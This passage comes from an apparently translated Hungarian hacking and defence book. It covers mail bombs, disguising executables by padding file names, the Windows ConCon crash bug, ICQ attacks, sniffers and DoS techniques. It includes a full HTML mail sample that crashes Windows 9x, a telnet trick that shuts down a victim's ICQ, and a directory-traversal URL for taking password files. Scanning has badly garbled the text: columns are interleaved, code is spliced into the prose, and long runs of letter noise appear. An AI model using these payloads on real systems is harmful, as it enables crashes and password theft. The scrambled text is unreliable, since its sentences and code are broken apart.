túllépi a maximális kapacitását, és nem tud több mail-t fogadni. S bizony rop-
pant időrabló ténykedés eltávolítani a többnyire különösebb tartalom nélküli
mail-ek százait.
 így működnek a mailbombák
Ahhoz, hogy a címzetteknek továbbítsák a mail-eket, a mailbombázó prog-
ramoknak több szerverrendszert is meg kell adni, amelyek, az akaratuk ellené-
re, postásként fognak működni. Ezt egyébként azért teszik, hogy felgyorsítsák
az akár 10 ezer mail továbbítását, és a munkát felosszák több különböző szerver
között. Ezáltal az egyes mail-szerverek túlterhelésének a kockázata is csökken.
Ráadásul egy ilyen tranzakció egyeden szerveren keresztül talán túl feltűnő
lenne, s a további mail-akciókat zárolni lehetne erről a szerverről!
Az utóbbi időben egyre több mailbomba-támadás összpontosít cégekre,
amelyek agresszív reklámjaikkal tűnnek fel az interneten.
Mailbomba-védelem
A német online szolgáltatók, mint az AOL vagy a GMX, felhasználói bizto-
san jól ismerik az előbb említett mailreklámot, az úgynevezett spam-et. A szer-
vezett mailbomba-akciók ezeknek a cégeknek a mail-postafiókjaira gyakran si-
keresnek bizonyultak! Ezért a legtöbb mailszolgáltató ügyfél-postafiókjain ki
lehet választani az antí-spam opciót. Ez megakadályozza, hogy az elképesztő tö-
megű mail egyáltalán továbbítódjon a felhasználóhoz.
8.1.2 A fájlmelléklet kitömése
Vírusok és trójaik küldésénél a hackerek állandóan szembesülnek azzal a
problémával, hogy a nyilvános ismeretterjesztés hatására sok felhasználó már
tudja, hogy az *.EXE, *.COM, *.BAT nevű mail-mellékletek veszélyesek lehet-
nek. Ezért gyakran egy trükkhöz folyamodnak, hogy álcázzák a csatolt fájlt.
Ártatlannak tűnik - egy
mail kipufferolt fájlmel-
léklete
A csatolt fájl, a merevlemezre mentve, a következőképpen néz ki:
Profil.doc exe
A hosszúsága miatt (amit az üres karakterek okoznak) az Outlook csak a
Profil.doc-ot mutatja, így a felhasználó feltételezheti, hogy csak egy hagyomá-
nyos Word-dokumentumról van szó, amit közvetlenül is meg lehet nyitni az
Outlookból, anélkül, hogy előzőleg a merevlemezre kellene menteni.
Természetesen ebben az esetben azonnal elindul a megfelelő program, és
feltelepül az esetleg hozzáfűzött vírus vagy trójai.
A csatolt fájlok elleni védelem
A fent bemutatott fájlmellékletet nyilvánvalóan nem a Word dokumentum
ikonja jelöli. A felhasználó tehát figyeljen a megfelelő ikonra!
Persze az elszánt hacker az olyan programokkal, mint a Sub7 (lásd a trójai-
akról szóló fejezetet), még Word-ikont is tud varázsolni. Általánosságban érvé-
nyes, hogy először mentsük merevlemezre és ellenőriztessük vírusvizsgálóval
az ismeretlen forrásból származó mail-ek csatolt fájljait. Ezen kívül a Microsoft
a http://windowsupdate.microsoft.com/ címen egy Outlook-frissítést is kí-
nál, amely még a mail-hez csatolt fájlok futtatása előtt figyelmeztetést küld a
gyanús fájloknál.
Figyelmeztető
üzenet az
Outlooktól, meg-
kérdőjelezhető
fájlcsatolásoknál
 8.1.3 AConCon bug {
color: FF3300;
A csatolt fájlok mellett a mail-éknek is lehet veszélyes tartalmuk. Egy példa font-size: 24pt;
erre a híres Windows ConCon bug. Ez a Windows 95/98/98 SE Windows font-weight: regular;
kernelének egy hibájára épül, amely a foglalt eszköznevek meghívására vonat- font-family: "Tempus Sans ITC", "Comic Sans MS", "Arial";
kozik. A ConCon „nagy kék halált" okoz, és újra kell indítani a PC-t. Ez veszé- }
lyes lehet a nem mentett adatok miatt. Az is ismert, hogy ennek a hibának a ?
többszöri fellépése kárt okozhat a Windows kernelben, aminek az a következ- </STYLE>
ménye, hogy újra kell installálni az operációs rendszert.
<META content=3D'"MSHTML 4.72.3110.7"!
A ConCon mail-ékben terjed beágyazott HTML-fájlokon keresztül, ame-
name=3DGENERATOR>
lyek például így nézhetnek ki:
</HEAD>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 HTML//EN"> <BODYbgColor=3D#99ccffleftMargin=3D30topMargin=3D5>
<HTML> <DIV>&nbsp;</DIV>
<HEAD> <CENTER><IMG align=3Dcenter alt=3D"Elfuthatsz,"
height=3D116=20
<META content=3Dtext/html;charset=3Diso-8859-l =
src=3Dcid:005001bfc591$8d8c9fOO$23b02fd5@lol.telekabel.de=20
http-equiv=3DContent-Type><BASE=20
width=3D617></CENTER><BR><BR><BR>
href=3Dftle://C: \Con \Con \>
<CENTER>
<STYLE>
<Hl>Elfuthatsz, de el nem menekülhetsz=20
<'-
előlem!<TOPMARGIN=3D1 50></H1Yó></CENTER><BR><CENTER>
body, UL, OL, DIR, MENU, DIV, DT, DD, ADDRESS,
<IMG src= "\C: \Con \Con.gif>
BLOCKQUOTE, PRE, BR, P, =
LI <P>Üzenetet ide beilleszteni.</P></CENTER></BODY></HTML>
{ ConCon-mailnézet egy
color: FF3300; erre a búgra rezisztens
Windows 2000-
font-size: 20pt; rendszeren
font-weight: regular;
font-family: "Tempus Sans ITC", "Comic Sans MS", "Arial";=20
}
hl
{
color: FF3300;
font-size: 30pt;
font-weight: regular;
font-family: "Tempus Sans ITC", "Comic Sans MS", "Ariar;=20
}
hl

Ezt a mailt elég kijelölni és belenézni, hogy a számítógép lefagyjon, és újra
kelljen indítani.
Megjegyzés: A mail-támadásoktól eltekintve a számítógép Indítópult map-
pájába is előszeretettel másolnak ConCon-fájlt. Így a rendszer nem tud el-
indulni, minden alkalommal elindul ez a fájl, és a gép lefagy.
Védelem a ConCon ellen
A http://www.microsoft.com/downloads/release.asp?ReleaseID=193 89
címen a Microsofttól letölthető egy patch a bug kijavításához.
8.2 ICQ - praktikus és veszélyes
Az „I seek you" egy kommunikációs eszköz, amely, miután nagyon kényel-
mes és felhasználóbarát, az IRC (InternetRelayChat) mellett az internet egyik
legtöbbet használt chatrendszerévé fejlődött. A kliense a legkülönbözőbb plat-
formokon megtalálható. A leggyakrabban használt Windows-kliens mellett
Linux alatt is több kliens létezik, sőt MacOS-hoz és BeOS-hoz is van ilyen.
Az ICQ minden felhasználója egy saját számot kap, amikor bejelentkezik a
kommunikációba. Ez a szám a Universal Identifier Number, vagy egyszerűen a
UIN. Tulajdonképpen a címünkhöz vagy az IP-nkhez hasonlítható, mert a fel-
használókat a UIN-on keresztül tudják más felhasználók megtalálni és azonosí-
tani. Manapság már majdnem 150 millió szám létezik. Ha egy másik felhaszná-
lót keresünk, egyszerűen a Find User alatt megadjuk a nevét, az e-mail címét
vagy a UIN-t, és kapcsolatba léphetünk vele.
A kapcsolati listára minden felhasználót bejegyezhetünk, akikkel rendszere-
sen szeretnénk kapcsolatot tartani. A státuszon lehet látni, hogy ki van online-
ban, ofíline-ban, vagy ki akarja, hogy pillanatnyilag békén hagyják.
Az ICQ-kliensen egy session közben megváltoztathatjuk a saját státuszun-
kat, a választék az Online, az Offline, az Away és az Invisible, hogy csak a fonto-
sabbakra szorítkozzunk.
1. Windows ICQ Client v. 2000b
2. ICQ-pager-értesítés egy Sub7 szerveren
3. ICQ message-window
Az ICQ kiszolgálóelemei
és egy Sub7 szerver
-üzenet
8.4.1 Az ICQ - biztonsági kockázat?
Az utóbbi időben elszaporodtak azok a vélemények, amelyek biztonsági
kockázatként jelölik meg az ICQ-t, és a kérdésre, hogy „Van-e ICQ-d?" egyre
gyakrabban kapjuk azt a választ, hogy „Nem, mert túl veszélyes". Az ICQ leg-
nagyobb veszélye tulajdonképpen abban rejlik, hogy a támadónak információ-
kat szolgáltat az áldozatról. Ezek közül is egyértelműen az IP a legfontosabb.
Az IP kiadása ugyan különböző beállításokkal megakadályozható (a 99b verzió-
tól egy másikat is lehet megtévesztésként mutatni), de az interneten egyre több
program található, amelyek kikerülik ezeket a beállításokat, és a támadóknak
szállítják a megfelelő információkat. Ezért ez sem jelent biztos védelmet.
Ráadásul az ICQ-t ért különböző remote-buffer-overflow-k és DoS-
támadások is ismertek. Ezeket a hálóról származó eszközökkel lehet végrehaj-
tani. Azok a támadások is kedveltek, amelyeknél a támadó üzenetek sokaságával
bombázza az áldozatot (lásd ebben a fejezetben, a Mailbombák alatt, hogy ez
mit jelent). Az ICQ biztonsági kockázata azonban sokkal inkább annak a rend-
szernek a biztonságosságán múlik, amelyen a kliens fut, mint magán az ICQ-
networkön. A felhasználóknak észnél kell lenniük, hogy kinek adnak engedélyt
és kinek nem a kontaktlistájukhoz.
 8.4.2 Milyen biztonsági rések vannak? *-DADADADADADADADAD
*ADADADADADADvADADADADADADADADADADADvADADADADA
DADADADAD
A A A A A A A A A A A A A A A A A A A A A A A
Korrupt linkek D D D D D D D D D D D D D D D D D D D D D D D
*»ADADADADADADADAD
A különböző linkek megnyitása az ICQ-felhasználónál aktiválhat egy fájlt, ^ADADADADADADvADADADADADADADADADADADvADADADADA
például egy trójait vagy egy vírust. Bizonyos parancsokkal összefüggésben *-DADADADAD
azonban az egész merevlemezt is formattálhatják. Egy ilyen támadást hajtottak A A A A A A A A A A A A A A A A A A A A A A A
D D D D D D D D D D D D D D D D D D D D D D D
végre például tesztcélokból egy Windows 98 és egy 2000 platform „ellen". A *-ADADADADADADADAD
link így nézhet ki: ^ADADADADADADvADADADADADADADADADADADvADADADADA
http://www.yahoo.com/link.asp? DADAD!Ü!
A
pl A£)A£)A£)A£)A£)VA£)A£)A£)»
DADADADADADADADADADADADADADADADADADADADADADAD
*-ADADADADADADADAD
^A£)A£)A£)A£)A£)A£) V A£)A£)A£)A£)A£)A£)A£)A£)A£)A£)A£) V A£)A£)A£)A£)A
Védelem
*DADADADAD
A A A A A A A A A A A A A A A A A A A A A A A Ez ellen úgy lehet védekezni, hogy az ICQ-kliensünket úgy állítjuk be, hogy
D D D D D D D D D D D D D D D D D D D D D D D
^•ADADADADADADADAD azonnal eldobja az ismeretlen linkeket, amelyeket nekünk küldenek.
*ADADADADADADvADADADADADADADADADADADvADADADADA
*»DADADADAD Fájlnevek kitömése az ICQ 99 alatt
A A A A A A A A A A A A A A A A A A A A A A A
D D D D D D D D D D D D D D D D D D D D D D D
ta»A£)A£)A£)A£)A£)A£)A£)A£) Ahogy mailben, úgy ICQ-val is lehet fájlokat küldeni és fogadni. És itt is mű-
ködik az ott már leírt trükk: tegyük fel, hogy a támadó küld a usernek egy fájlt,
*-ADADADADADADvADADADADADADADADADADADvADADADADA
DADADADAD egy trójait vagy egy vírust stb. Ha elküldi ezt a fájlt, a fogadónál megjelenik egy
A A A A A A A A A A A A A A A A A A A A A A A popup ablak a fájl megnevezésével és más, itt nem lényeges információkkal.
D D D D D D D D D D D D D D D D D D D D D D D
*ADADADADADADADAD A trükk a következő: a támadó kitömi a def.jpg.exe fájl nevét egy sor üres ka-
h»ADADADADADADvADADADADADADADADADADADvADADADADA rakterrel, pl. def.jpg .exe
|*>DADADADAD Az exe fájlból semmit
A A A A A A A A A A A A A A A A A A A A A A A
D D D D D D D D D D D D D D D D D D D D D D D sem látni
i*-ADADADADADADADAD
^A£)A£)A£)A£)A£)A£) V A£)A£)A£)A£)A£)A£)A£)A£)A£)A£)A£) V A£)A£)A£)A£)A
A A A A
*»D D D D D
A A A A A A A A A A A A A A A A A A A A A A A
D D D D D D D D D D D D D D D D D D D D D D D
*ADADADADADADADAD
^ADADADADADADvADADADADADADADADADADADvADADADADA
DADADADAD
^A£)A£)A£)A£>A£)A£)A£)A£)A£)A£)A£)A£)A£)A£)A£)A£)A£)A£)A£)A£)A£)A£)A
 Így a popup ablakban már nincs elég hely, és a tulajdonképpeni végződés, az
.exe már nem látható. Az .exe végződés helyett csak a -jpg-et látjuk. A felhaszná-
ló azt gondolja, hogy tényleg csak egy képet akarnak küldeni neki. Ha a támadó
például egy trójait vagy egy vírust használt, akkor a felhasználóból, ha elfogad-
ja és végrehajtja a fájlt, könnyen áldozat lesz.
Védelem
Ez a bug az ICQ 2000-ben már nincs benne. Ezért a legjobb védekezés az
aktuális verzióra történő frissítés.
User hozzáfűzése engedély nélkül
Az ICQ jóváhagyása időnként elég terhes a támadóknak, ha egy áldozatot
akarnak felvenni a kontaktlistájukra, anélkül, hogy az áldozat ezt észrevenné. Az
interneten ehhez egész sor tool és crack van, amelyek lehetővé teszik a felhasz-
náló felvételét a kapcsolati listára anélkül, hogy ő bármit is észrevenne ebből.
Rendesen ugyanis kap egy értesítést, amely közli, hogy felkerült egy listára.
Ezt a problémát elkerülendő, a támadónak a következő lehetőségei vannak.
Letölt magának egy ICQ-cracket az internetről, inaktiválja az ICQ-t,
megpatcheli a crackkel, és megpróbál hozzáfűzni egy felhasználót. Ha ez sike-
rült, a Find User-rel megkeresi azt az UIN-t, amelyet hozzá akar fűzni,. Amint az
ICQ a kérdésre pozitív választ ad, egyetlen kattintással kijelöli a személy nevét.
Ezután meg kell szakítani a kapcsolatot a hálóval. Ha ezt elintézte, a Next-re
kattint. Az ICQ hibajelzéseket ad, amelyek azt mondják, hogy az ICQ nem tud
üzeneteket küldeni. Mire minden hibaüzenetet tudomásul vettek, a támadó
már ott van a kívánt személy kapcsolati listáján, ráadásul anélkül, hogy az erről
bármit is tudna.
Most teljes nyugalomban megfigyelheti az áldozatát, vagy ha akarja, akár
meg is támadhatja.
Védekezés
Az ICQ rendszeresen dolgozik chat-rendszere biztonságán, és most is meg-
jegyzendő, hogy a rendszeres frissítés legalább rövid távon védelmet kínál.
Itt az IP!
Az ICQ lefagyasztása
ICQ alatt megmutathatjuk más felhasználóknak, hogy működte-
tünk-e webszervert a rendszerünkön. Ezt többnyire a fenti ikonra történő kat-
tintással vagy a http://ipdesusers. linkkel lehet elérni.
Egy ilyen jel a hackernek égből pottyant ajándék, amit gyakran ki is használ,
hogy megtámadja ezeket a rendszereket.
Az így jelzett webszerver ugyanis behatolási pontot nyújthat a támadónak.
Egy erre a célra szívesen használt eszköz a UIN-IP. Ez az ICQ-path megadása
után a kontaktlistára bejegyzett userek minden IP-jét visszaadja.
Vagy a támadó a partnerrel való beszélgetés közben egyszerűen beírja a pa-
rancssorba: netstat -n, hogy többet megtudjon a chat-partneréről.
Ha a hackernek csak az áldozat IP-je van meg, a parancssorba a következőt írja:
Telnet 217.82.172.40:80, ahol a 217.82.172.40-et a megtalált IP-re cseréli.
Ezután egyszerűen Quit-et ír a Telnet kliensbe. Ezáltal az áldozat ICQ-ja
bezáródik, és egy idő múlva nem jelenik meg online-ként.
Ez egy jó példa volt az ICQ kliens még fennálló bizonytalanságaira.
Megnézni egy felhasználó fájljait
Itt megintcsak előfeltétel, hogy a felhasználó egy webszervert telepített, és a
hacker ismerje az IP-jét.
 Most például beírhatná a böngészőjébe:
http:// 217.82.172.40 /.html/. user.pwl,
ahol a 217.82.172.40 az áldozat IP címe. A pontok a könyvtárakat jelölik, ame-
lyekre váltani kell, hogy a C:\-hez jusson. Most a támadó a számítógépére tud-
ja menteni a kiválasztott fájlokat.
Természetesen ez csak egy példa, mert a támadó nem fogja ismerni a pontos
könyvtárstruktúrát. A legtöbb esetben azonban a Windows szabvány könyvtár-
struktúrája fordul elő, így a jelszavak elérésére is van lehetőség.

Védekezés
Ha webszervert kell futtatnunk, ne használjuk ezen a gépen az ICQ-t.
9. fejezet - Tartalom

9.1 Mi az a sniffer?
9.2 Hogyan működik egy sniffer?

9.3 A sniffer veszélyei

9.4 Mit lehet tenni a snifferek ellen?
9 Sniffer
A snifferek jelentik az egyik legnagyobb veszélyt a hálózatokra. Ebből a
fejezetből kiderül, hogy mit is rejt ez a fogalom, melyek a snifferek felhasz-
nálási területei, és milyen gondokat okozhatnak.
9.1 Mi az a sniffer?
külön kis, ethernet frame-nek is nevezett csomagokban kerül a hub-ra, és
onnan továbbítódik minden csatlakoztatott számítógépre. Az adatokat csak
az a számítógép veszi fel, amelyiknek címezve vannak. A többi hálózati in-
terfész ugyan fogadja az adatokat, de a nem neki szóló címzés miatt nem
dolgozza fel azokat. Ezen a ponton avatkozik be a sniffer, amely a hálózati
interfészt úgynevezett promiscuous módra állítja át. Ez a mód bizonyos al-
kalmazásokon keresztül akkor is megengedi a csomagok felvételét és fel-
dolgozását, ha azok nem az illető gépnek vannak címezve. Így a sniffer hoz-
zákezdhet a tulajdonképpeni munkájához.
Annak persze nem lenne értelme, hogy a hálózat teljes adatforgalmát ki-
értékelje, mert a legtöbb információ egyáltalán nem érdekes. Ezért a leg-
több sniffert úgy tervezték, hogy csak a valóban releváns adatokkal foglal-
kozzon. Ezek, a sniffer tulajdonságaitól függően, lehetnek például jelszavak
vagy felhasználói nevek. Az elfogott információkat a sniffer az output (ki-
meneti) fájlokba menü.

A sniffereknek különböző felhasználási területeik vannak. Egyrészt a

rendszergazdák pótolhatatlan segítőtársai a hálózati problémák vagy a po-
tenciálisan veszélyeztetett területek felderítésében. Ha például gondok tá-
madnak a hálózat egy részében a hiányos konfiguráció miatt, akkor a rend-
szergazda bevethet egy sniffert, hogy magállapítsa, hol van a probléma a
hálózaton belül. Másrészt a snifferek lehetőséget nyújtanak a támadóknak,
hogy egész hálózati csomagokat „hallgassanak le".
A snifferek a WWW/LAN/WAN egyes gépeire telepíthetők, naplózzák
az adatfolyamot, és rendszerint egy fájlba írják az analizált adatokat, bete-
kintést kínálva annak, aki installálta a sniffert.
A felhasznált sniffertől függően különböző protokollokat lehet lehall-
gatni. Ezek közé tartoznak többek között: a TCP/IP (Ethernet/WWW),
az IPX, az Apple Talk, a Banyán VINES és az LCC.

9.2 Hogyan működik egy sniffer?

Egy számítógép valamennyi hálózati interfészének saját címe van a
LAN-on. Ez különbözteti meg a komputert a hálózat többi tagjától. Ha-
sonló rendszert találunk az internet-címzésnél is. A hálózatban gyakran Az Analyzer az egyik legismertebb sniffer
használnak hub-ot az adatok szétosztására. Ha elküldünk egy üzenetet, az
 9.3 A sniffer veszélyei
A snifferek nagy veszélyt jelentenek a hálózati struktúrára, mert a teljes
hálózati adatforgalmat felügyelhetik. Így azután nem is szükséges közvetle-
nül beavatkozni egy meghatározott felhasználó rendszerébe ahhoz, hogy
kikémleljék mail-postafiókja vagy online banki jelszavát. Az olyan biztonsá-
gi intézkedések, mint hogy nem tároljuk a jelszavakat a merevlemezen,
tulajdonképpen semmit sem érnek, mert ezeket bármikor megtudhatja a
sniffer.
9.4 Mit lehet tenni a snifferek ellen?
A snifferek felfedezéséhez és eltávolításához jól kell ismerni a hálózati
topológiát. A snifferek a normál felhasználó szempontjából semmilyen
nyomot nem hagynak maguk után, ráadásul csak a támadó gépén futnak,
vagyis passzívan működnek. Ezért a normál hálózati felhasználó aligha tud-
ja felfedezni a sniffert a LAN-on. A leleplezéshez csak a rendszergazdáknak
vannak különböző programjaik, amelyekről a továbbiakban még írni fo-
gunk.
Felhasználói oldalról titkosító protokollokkal, mint amilyen az SSH
vagy az SSL, védhetjük az adatainkat a siffherek ellen.
A döntően hálózati felhasználás azonban alapvetően nagyobb ráfordítást
igénylő intézkedéseket tesz szükségessé. Az alábbi táblázatból részletesen
megismerhetők a védelmi mechanizmusok.
Intézkedés Leírás
Adatelosztás Egy sniffer támadási pontját tulajdonképpen a hubnak az a tulajdonsága
nyitja meg, hogy a fogadott adatokat minden vele kapcsolatban álló szá-
mítógépnek elküldi. Ha biztosra akarunk menni, a hub-ok helyett switch-
eket vagy auto-switching hub-okat is használhatunk, amelyek, a normál
hubokkal ellentétben, valóban csak a célgépre továbbítják az adatokat.
Ezek az eszközök azonban drágábbak az egyszerű hub-oknál.
Intézkedés Leírás
Hálózati kártya Egyszerűbb és olcsóbb megoldás megfelelő hálózati kártyával felszerel-
ni a LAN-ra csatlakoztatott számítógépeket. Mivel egy sniffer csak úgy
tud működni, ha a hálózati kártya promiscuous módban van, a megol-
dás kézenfekvőnek tűnik: csak olyan hálózati kártyát szabad használni,
amely nem engedélyezi ezt a módot. Ilyen kártyákat (is) kínai pl. a
3Com, az IBM, a Hewlett-Packard és az Intel.
A csatlakozá- A rendszergazda is ellenőrizheti a LAN-ban található számítógépek há-
sok ellenőrzése lózati kártyáit promiscuous módra vagy egyéb gyanús alkalmazásokra.
Ha azonban a támadó egy, a hálózatba integrált notebookot használ,
amit a sniffelés után magával visz, ez a variáció, éppúgy, mint a fentiek,
kevéssé hatékony.
A reakcióidő Ha egy számítógépre, amelynek a hálózati interfésze promiscuous mód-
ellenőrzése ban van, adatokat küldenek, a reakcióideje hosszabb lesz az általában
szokásosnál. Vannak programok, amelyek tesztelni tudják a hálózati re-
akcióidőket. Ezeket használják akkor is, amikor egy hálózat teljesítmé-
nyének a gyenge pontjait keresik. Ha egy hálózatban rendszeresen
tesztelik az egyes csatlakoztatott számítógépek reakcióidejét, akkor jól
be lehet határolni azt a számítógépet, amelyik potenciális sniffer lehet.
Ipv6 Hamarosan megjelenik a TCP/IP új verziója, amely Ipv6 vagy IPng néven
ismert. Ez a protokoll Ipsec-et is tartalmaz, amelynél az adatok hálózati
szinten lesznek kódolva, mégpedig úgy, hogy csak a címzett gép tudja
dekódolni. Részletesen most nem foglalkozunk az Ipv6-tal, azonban
ahogy ez a protokoll majd szabvánnyá válik a hálón, a snifferek problé-
mája is meg fog szűnni (egy időre).
Titkosítás Az alkalmazásokban használt kódolás minden bizonnyal a legfontosabb
védelem a sniffer-támadások ellen. Titkosítással biztonságossá lehet
tenni az adatátvitelt. Nagyobb hálózatoknál megfontolandók az olyan
biztonsági mechanizmusok, mint az S/Key vagy a SecurelD-Token.
Ezeknél jelszavak kiosztásáról van szó, amelyek csak egyszer érvénye-
sek. Sajnos ez az eljárás elég költséges, és a felhasználók sem veszik
szívesen, mert jobban szeretik, ha van egy saját, állandó jelszavuk. A
mail-postafiókok elleni támadásoknak is van egy biztos ellenszere, az
S/POP nevű eljárás, amely szintén kódolva továbbítja az adatokat.
 Intézkedés Leírás
SSL A HTTP-átvitelek titkosítására szolgál az interneten az SSL (Secure
Socket Layer). Már böngészőket is lehet kapni megfelelő erős kódolás-
sal. Az e-mail-küldésnél mindenesetre problematikus, hogy sok, csupán
mail-szolgáltatást kínáló szolgáltató csak üzletileg kínálja az SSL hasz-
nálatát. Tehát figyelni kell arra, hogy milyen szolgáltatásokat veszünk
igénybe a kevéssé biztonságos hálózatokon keresztül.
SSH Mivel a Telnet kódolatlanul továbbítja az adatokat, például a jelszavakat
és a parancsokat is, új lehetőséget kellett fejleszteni, hogy védetten le-
hessen bejelentkezni a Telnetről. A szokásos Telnet-kliensek helyett
SSH-klienset (Secured Shell) is lehet használni, amely csak biztonságo-
san kódolva továbbítja az adatokat.
Anti-sniffer' A hálón a legkülönbözőbb programokat kínálják a snifferek felkutatásá-
hoz. Az olyan programok, amelyek azt a számítógépet ellenőrzik, ame-
lyen éppen lokálisan rajta vagyunk, elérhetik ugyan a céljukat, de nincs
nagy hasznuk. Vannak azonban olyan programok is, amelyek leleplezik,
ha egy másik számítógép éppen sniffel. Ilyen program pl.
Unixhoz/Linuxhoz a Beavis and Butthead, amely mint snifftest.c is is-
mert. Az ilyen programokkal szemben azonban mindig egy kicsit szkep-
tikusnak kell maradni, mert többnyire csak bizonyos hálózati kártyák
búgjait ellenőrzik, vagy olyan programokat használnak, amelyek felhív-
ják a figyelmet az ilyen támadásokra.

Védelmi Intézkedések a snifferek ellen

Végeredményben azonban mindig lesznek programok, amelyek ugyan

hálózatról működnek, mégsem kínálnak lehetőséget az adatok kódolására.
Mivel a legtöbb felhasználó nem szívesen használ manuális kódolást, a kó-
dolási folyamatnak automatikusnak is kellene lennie.
A PGP-vel vagy hasonló programokkal kódolt fájlok/mailek biztonságá-
ban is csak akkor lehet bízni, ha a fájlok megnyitása a saját gépen történik.
Ha azonban a PGP-vel kódolt maileket a mail-szerveren nyitják meg (ami
biztosan gyakran megtörténik), akkor a megnyitáshoz szükséges jelszó
megint csak a hálózaton megy keresztül, így ezt is minden sniffer foghatja.
Igazán csak az IPv6 használatával lehet majd biztonságos adatátvitellel szá-
molni, mivel ott az adatok eleve kódolva továbbítódnak, így a sniffer nem
tud mit kezdeni velük.
10. fejezet- Tartalom

10.1 Az IP-spoofing mint előfeltétel

10.2 Out-of-Band csomagok - a „nuken"
10.3 Large Packet-támadások avagy a Ping of Death
10.4 Land támadások
10.5 TCP-Syn-Flooding
10.6 Ping-Flodding
10.7 Smurf
10.8 DDoS - Distributed Denial of Service támadások
10.9 Védelem a DoS-támadások ellen
 Az IP-spoofing, amelynél a csomag feladójának a címét megváltoztatják,
10 A Denial of Service támadás sok DoS-támadás alapját képzi. Vagy már a támadást is ez teszi lehetővé,
vagy arra szolgál, hogy a támadó nyomait eltüntessék, és megakadályozzák
az azonosítását. Így a támadót, aki két napig bombázta a Yahoo-t és társait,
csak a hencegése alapján kapták el egy idevágó chatszobában.
1998-ban létrejött egy védelmi szervezet, amely lehetetlenné teszi hami-
sított IP-csomagok internetre küldését a csatlakoztatott hálózatüzemelte-
tőknél. Sajnos, ez csak egy behatárolt megoldás, mert csak a szervezethez
A DoS- (Denial of Service -- szolgáltatás megtagadó) támadások az kapcsolódó rendszerekből érkező támadásokat akadályozza meg.
internet egyik legnagyobb veszélyforrásává váltak az idők során. Egy ilyen
támadásnál számítógépeket rohannak le az interneten, és úgy lefagyasztják,
hogy az egy ideig nem is tudja újrakezdeni a működését. A DoS-támadások 10.2 Out-of-Band csomagok - a „nuken''
ugyanúgy érintik az internet-felhasználókat, mint a szervereket, például a
webszervereket. Az egyik legismertebb támadást 2000 februárjában, két A legismertebb DoS-támadások közé tartozik a miken vagy az Out-of-
napon belül indították a Yahoo, az eBay, a CNN és néhány más nagyobb Band (OOB) csomagok küldése. Az OOB a TCP/IP egyik tulajdonsága, és
portál ellen a hálón. A rendszerek kiesése következtében fellépő kár mint- ezzel a protokollal továbbítódik. Megengedi az adatok átvitelét a normál
egy 100 millió dollárra rúgott. A DoS-támadások az operációs rendszerek, sorrenden kívül, és - többek között - Telnet session-ökhöz használják.
programok és protokollok hibáit használják ki, ami azt jelenti, hogy ezek- Az Out of Band csomagok felhasználását a DoS-támadásokhoz a Micro-
nek a támadásoknak különböző fajtái vannak. Az eredmény azonban min- soft egy hibás NetBEUI implementációja tette lehetővé. Ha a 135. és a 139.
dig ugyanaz: a megtámadott számítógép felmondja a szolgálatot. portok egy számukra nem értelmez-
DoS-támadásokat többnyire akkor hajtanak végre, ha a támadó nem ta- hető karaktersort kapnak, a rendszer
lál más utat, hogy a rendszert lerohanja, vagy ha éppen az a célja, hogy a összeomlik. A Microsoft felismerte
rendszert egy időre lebénítsa. A DoS-támadások célzott végrehajtásának ezt a hibát, és mind a Windows
másik oka lehet például, hogy egy rendszert újraindításra kényszerítsenek 98/98SE/ME-t, mind a 2000-t el-
valamilyen változtatás érvénybe léptetése érdekében (jelszó: trójai). Ked- lenállóvá tette e támadások ellen.
velt célok azok a felhasználók is, akik game-szervereken vagy IRC-szerve- Ezért az Out of Band csomagokat az
olyan rendszerek megtámadásához
reken találhatók.
A különböző támadásokhoz egész sor eszköz áll a támadók rendelkezé- használják, mint például a WinGates.
sére, amelyeknek többnyire jól kezelhető, grafikus felületük van, így a tá- A WinGates 4.01-t például így
madónak még alaposabb technikai ismeretekkel sem kell rendelkeznie a lehetne megtámadni: 100 kapcsola-
tot állítanak elő a WinGates-hez, és
használatukhoz.
ezeken egyenként körülbelül 40000
karaktert küldenek. A WinGates-
10.1 Az IP-spoofing mint előfeltétel szerver feltételezi, hogy minden

Az IP-spoofing egy támadási eljárás, amelynél hamis IP-számot használ- Kettő a legismertebb
nukerek közül
nak, hogy hamis identitást színleljenek a megtámadott IT-rendszer felé.
kapcsolat fennmarad, és az adattömeg addig halmozódik, amíg el nem
használja a szerver pufferét. Ha most a rendszergazda megpróbál belépni,
out of buffer hibaüzenetet kap.
10.3 Large Packet-támadások avagy
a Ping of Death
A Denial of Service támadások különösen végzetes fajtája a Ping of
Death. Ez utóbbinak semmi köze a tulajdonképpeni ping-parancshoz,
amelyről ebben a fejezetben még szó lesz.
Az Internet Protokoll headerrel (fejléccel) együtt pontosan 65535 bájtot
csomagol egyetlen csomagba, az Ethernet-csomagok pedig csak 1500 báj-
tosak. Az ennél nagyobb csomagokat fragmentálja, vagyis feldarabolja,
hogy egyszerűbb legyen az átvitelük, és aztán újra reassemblálja (összerak-
ja) őket. Mindez azért történik, hogy az adatok át tudjanak futni a különbö-
ző hálózati rétegeken.
Minden csomagtöredék tartalmaz egy offset értéket és egy azonosítási
számot. Az első csomagban még egy TCP-header is található, valamint a
portszám, amely meghatározza, hogy milyen csomagról van szó. Ezek a té-
nyek teszik lehetővé, hogy az utolsó töredéknek olyan offset értéket lehet
adni, amely a teljes csomagot nagyobbnak mutatja 65535 bájtnál. Ez a túl-
méretezett csomag túlcsordulást (Buffer Overflow-t) okoz a rendszerben,
és a gép összeomlik. A Ping of Death támadások a következő protokollok-
nál lehetségesek: ICMP, UDP és TCP.
Röviddel a halálos lö-
kés előtt
10.4 Land támadások
A Land támadások a TCP-implementáció egy hibáját használják ki ah-
hoz, hogy egy rendszert hatalmas adatfolyammal terheljenek, majd össze-
omlást idézzenek elő. Ez a következőképpen történik.
Mikor egy számítógép kapcsolatot próbál felépíteni egy másikkal, akkor
speciális IP-csomagokat küld, amelyekkel bejelenti a kapcsolatot. Ezeket SYN-
csomagoknak is nevezik. A címzett reagál erre, és válaszul ACK-csomagot
(ACK = Acknowledgement = a fogadás nyugtázása) küld. Ezt a folyamatot
Three Way Handshake-nek is nevezik. Aki viszont Land támadást hajt végre,
a protokoll-implementáció említett hibáját kihasználva, hamisított feladóval
küldi a SYN-csomagokat egy szerverre - a feladó címe megegyezik a cím-
zettel. A szerver minden SYN-csomagra ACK-csomaggal válaszol, de ezt a
csomagot most egy saját nyitott portjára fogja küldeni, ahol a sok IP-stack
egyfajta túlcsordulást idéz elő, és megbénítja az áldozat rendszerét.
A támadásnak ezt a fajtáját az elkészült bugfixekkel ma már a legtöbb
operációs rendszer visszaveri.
10.5 TCP-Syn-Flooding
